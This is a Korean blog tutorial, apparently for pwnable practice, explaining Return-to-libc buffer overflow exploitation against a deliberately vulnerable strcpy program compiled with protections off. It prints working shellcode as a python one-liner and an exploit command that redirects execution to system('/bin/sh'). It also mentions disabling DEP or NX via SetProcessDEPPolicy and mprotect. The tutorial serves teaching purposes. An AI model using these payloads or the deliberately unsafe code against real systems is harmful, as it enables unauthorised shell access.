본문 바로가기

IT/System Hacking

Buffer Overflow - RTL(Return to library) 기법

/* 
written by kaspy (kaspyx@gmail.com)
*/ 

1. 서론

RTL(Return to library) 기법이란, 버퍼오버플로우(Buffer Overflow, 이하 BOF) 취약점이 존재하는 프로그램을 익스플로잇 할때 해당 프로그램의 스택(stack) 영역에 실행 권한이 존재하지 않을때 프로그램이 사용하는 glibc 내에 존재하는 함수를 호출하는 기법이다.

요즘 대부분의 리눅스 및 윈도우 시스템은 NX 또는 DEP등으로 스택(stack) 영역에 실행 권한을 주고있지않고, 특별한 컴파일 옵션을 주어서만 실행권한을 줄수있는만큼 간단하면서도 자주 사용되는 방법이다.

포너블문제(pwnable)에서는 기본중에 기본이니 잘알아두도록하자.

* 테스트 환경은 우분투 리눅스 16.04 64bit 입니다 

2. 취약프로그램


BoF 취약점이 일어나는 프로그램의 소스코드는 아래와 같다. RTL을 공부하기위한것이니, Stack Canary와 ASLR 은 꺼두도록하자.

(32비트로 컴파일하기위해 -m32 옵션도 추가적으로 줬음)



  1. #include <stdio.h>
  2.  
  3. // sudo sysctl -w kernel.randomize_va_space=0
  4. // gcc -o vulnerability vulnerability.c -fno-stack-protector -mpreferred-stack-boundary=2 -m32
  5.  
  6. int main(int argc, char *argv[])
  7. {
  8.   char buf[32];
  9.  
  10.   if ( argc < 2 )
  11.   {
  12.     return -1;
  13.   }
  14.   else{
  15.     strcpy(buf,argv[1]);
  16.     printf("You entered : %s\n",buf);
  17.   }
  18. }


gdb로 열은후 maps로 보면 아래와 같이 스택영역에 실행권한이 없는것을 확인할수 있다.



3. 스택에 쉘을 올려놓고 공격해보기


BoF 취약점을 가진 프로그램을 gdb로 실행하여 dissembly 하면 아래와 같이 나와진다. 

(gdb 유틸 peda를 사용하면 아래와같이 좀더 보기쉽게 나온다.)



버퍼의 사이즈는 32바이트로 a * 32 byte + ebp (4byte) + ret(4byte)로 생각할수있다.


그렇다면 스택 버퍼에 쉘을 때려넣고 ret를 버퍼의 주소로 수정하여 공격을 해보자.

(당연히 안되겠지만 시험삼아)


버퍼의 주소는 0xffffd3e8 으로 확인되어진다.(+32 지점에 브포걸고 확인)


Payload = (shellcode + dummy) 32byte + ebp (dummy) + 0xffffd3e8 (버퍼의 주소)


로 생각할수있겠다.


이걸 파이썬으로 하면


 python -c 'print "\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff"+"/bin/sh;" + "b" * 6 + "c" * 4 + "\xd8\xd3\xff\xff"'


처럼 나타낼수있고, gdb로 확인해보자.


gdb에서 입력하고싶다면 


r `python -c 'print "\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff"+"/bin/sh;" + "b" * 6 + "c" * 4 + "\xd8\xd3\xff\xff"'`


으로 해주면된다.



위와같이 실행하면 ret 하기전에 다음 스택포인터가 버퍼의 주소를 가리키고있는것을 확인할수 있다.


그러나 아래와같이 SIGSEGV 시그널 예외가 발생하여 쉘코드가 실행되지 않는다.



쉘을 띄우고 싶다면, 컴파일 옵션에 -z execstack 을 줘서 다시 컴파일해서 테스트해보면된다.


4. RTL(Return to Library)로 공략하기


다시 처음으로와서 이번에는 Return to Library 기법을 사용해서 공격을 해보도록하자.


쉘을 띄우기 위해 system 이라는 함수 주소를 확인해보자.



system 함수의 주소는 0xf7e43940 이다.


RTL을 이해하기위해선 함수 파라미터 호출에대해 어셈블리수준에서 간단히 이해할수 있어야한다.


예를들어


int func(int a, int b,int c)


가 있다면 어셈블리로 


push c

push b

push a

call func 


형식으로 호출이 이루어진다. 물론 함수 호출규약(Calling Convention)에따라 다를수있지만 glibc는 위와같은(cdecl) 방식이 사용된다.


func 함수가 실행될때는


pop a

pop b

pop c 


형태로 매개변수를 가져와서 함수기능에맞게 처리한다.


즉 아래와같이 argv1, argv2를 push 했다면 함수의 인자 순서는 아래와같다.




아래는 ret 하기전에 스택에 저장된 값인데



첫번째 빨간색 박스에 (0000) system의 함수주소를, 그리고 두번째 박스(0008) 에는 "/bin/sh"의 문자열의 주소를 넘겨주면 된다.


buf에 바로 /bin/sh를 넣어줘서 주소를 넘겨주던지 아니면 glibc에 저장되어있는 주소를 넘겨줘도된다.




아래는 exploit 코드이다.


./vulnerability `python -c 'print  "a"*32 + "b" * 4 +  "\x40\x39\xe4\xf7"+ "xxxx" + "\x8b\x1e\xf6\xf7"'` 



exit 를하면 segmentation 오류가 뜰것인데 그건 004 번지에 exit 함수를 넣어줘야 제대로 종료가 되는데 직접 해보기 바람.


RTL 기법의 한계점이 있다면 연속적인 Call Chain을 구성하기 어렵다는것이고, ASCII Armor 나 ASLR 이 걸려있을때에 사용하기 어렵다는 것등이있다.


RTL은 간단하면서도 유용할때가 많이있다. 


예를들어 Windows 환경의 DEP를 끄고 싶다면 SetProcessDEPPolicy() 함수(매개변수를 하나만 받는경우)를 사용하여 DEP를 disable한이후에 스택에 쉘코드를 실행하는경우 등을 들수있다.(단. DEP 모드가 Always ON/Off , 모듈이 NXCOMPAT으로 되어있을경우는 해당되지않음) 리눅스 환경 같은경우 mprotect() 함수를 사용하여 스택에 nx를 해제한후에 쉘코드를 띄울수도있다.



- 참조 내부 링크


 리눅스 쉘코드(shellcode) 만들기 - http://kaspyx.kr/4

 버퍼오버플로우(Buffer Overflow) 해킹기법이란?? - http://kaspyx.kr/2